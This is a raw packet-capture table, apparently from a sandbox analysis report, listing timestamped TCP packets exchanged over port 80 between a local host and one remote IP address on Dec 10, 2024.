Dec 10, 2024 02:51:10.639448881 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.640553951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.640593052 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.640758038 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.640799046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.641995907 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.642033100 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.642174959 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.642206907 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.643506050 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.643518925 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.643547058 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.643558979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.644912004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.644923925 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.644948959 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.644961119 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.646241903 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.646279097 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.646416903 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.646456957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.647558928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.647602081 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.647736073 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.647769928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.649065018 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.649102926 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.649261951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.649297953 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.649380922 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.649418116 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.649514914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.649554014 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.650820971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.650861979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.650924921 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.650959015 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.652232885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.652276993 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.652339935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.652380943 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.653645992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.653690100 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.653728008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.653759956 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.655025005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.655070066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.655142069 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.655184031 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.656434059 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.656478882 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.656542063 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.656580925 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.657874107 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.657912970 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.657957077 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.657995939 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.659245014 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.659282923 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.659327030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.659358978 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.663086891 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.663098097 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.663110018 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.663136005 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.663151979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.663233995 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.663274050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.664505005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.664547920 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.664649010 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.664685965 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.665926933 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.665965080 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.666107893 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.666141987 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.785209894 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.785257101 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.785315990 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.785357952 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.785829067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.785871029 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.785947084 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.785984993 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.787090063 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.787128925 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.787200928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.787239075 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.788376093 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.788427114 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.788496971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.788547993 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.789645910 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.789699078 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.789731026 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.789769888 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.790873051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.790923119 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.791009903 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.791057110 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.792226076 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.792268038 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.792284012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.792323112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.793435097 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.793476105 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.793539047 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.793584108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.794682026 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.794723034 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.794800997 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.794837952 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.795954943 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.796024084 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.796052933 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.796104908 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.797200918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.797274113 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.797307014 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.797379017 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.798480988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.798537016 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.798571110 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.798672915 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.799743891 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.799844980 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.799871922 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.799901962 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.800981045 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.801027060 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.801067114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.801106930 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.802309990 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.802361012 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.802449942 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.802484989 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.803538084 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.803574085 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.803649902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.803688049 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.804791927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.804832935 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.804905891 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.804944992 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.806042910 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.806102037 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.806174994 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.806212902 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.807311058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.807358027 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.807483912 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.807522058 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.808573961 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.808615923 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.808736086 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.808775902 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.809823990 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.809863091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.809952974 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.809990883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.811094046 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.811132908 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.811204910 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.811240911 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.812377930 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.812423944 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.812452078 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.812491894 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.813604116 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.813651085 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.813726902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.813766003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.814871073 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.814918041 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.814987898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.815026045 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.816129923 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.816176891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.816345930 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.816385984 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.817404985 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.817449093 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.817500114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.817540884 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.818662882 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.818707943 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.818773031 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.818826914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.819910049 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.819951057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.820050001 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.820094109 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.821166992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.821204901 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.821270943 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.821314096 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.822443962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.822484016 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.822535038 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.822571039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.823702097 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.823738098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.823899984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.823941946 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.824978113 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.825084925 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.825095892 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.825115919 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.826227903 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.826265097 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.826337099 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.826373100 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.827487946 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.827524900 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.827588081 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.827624083 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.828738928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.828777075 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.828840971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.828876019 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.830009937 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.830048084 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.830136061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.830173969 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.831300974 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.831334114 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.831407070 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.831444025 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.832571030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.832669020 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.832691908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.832725048 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.833812952 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.833852053 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.833926916 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.833964109 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.835048914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.835093021 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.835150003 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.835185051 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.836347103 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.836424112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.836443901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.836479902 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.837589979 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.837626934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.837690115 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.837723970 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.838836908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.838871956 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.838932991 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.838975906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.840107918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.840150118 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.840243101 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.840280056 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.841378927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.841418982 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.841511965 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.841546059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.842653990 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.842691898 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.842741013 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.842777014 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.843914986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.843965054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.844032049 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.844067097 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.845199108 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.845240116 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.845319033 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.845357895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.846425056 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.846463919 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.846514940 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.846555948 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.847316980 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.847356081 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.847419024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.847454071 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.848570108 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.848611116 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.848679066 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.848720074 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.849823952 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.849862099 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.849927902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.849966049 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.851064920 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.851105928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.977478027 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.977528095 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.977533102 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.977571964 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.978044033 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.978087902 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.978143930 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.978183031 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.978984118 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.979026079 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.979079008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.979120970 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.980194092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.980237007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.980319023 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.980366945 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.981409073 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.981467962 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.981509924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.981548071 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.982639074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.982677937 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.982758045 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.982808113 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.983858109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.983903885 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.983963013 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.984005928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.985050917 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.985096931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.985173941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.985229969 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.986299992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.986351013 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.986481905 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.986530066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.987515926 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.987561941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.987593889 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.987643957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.988750935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.988799095 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.988827944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.988872051 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.989944935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.989995956 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.990035057 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.990082026 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.991163015 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.991204023 CET	49859	80	192.168.2.5	31.41.244.11
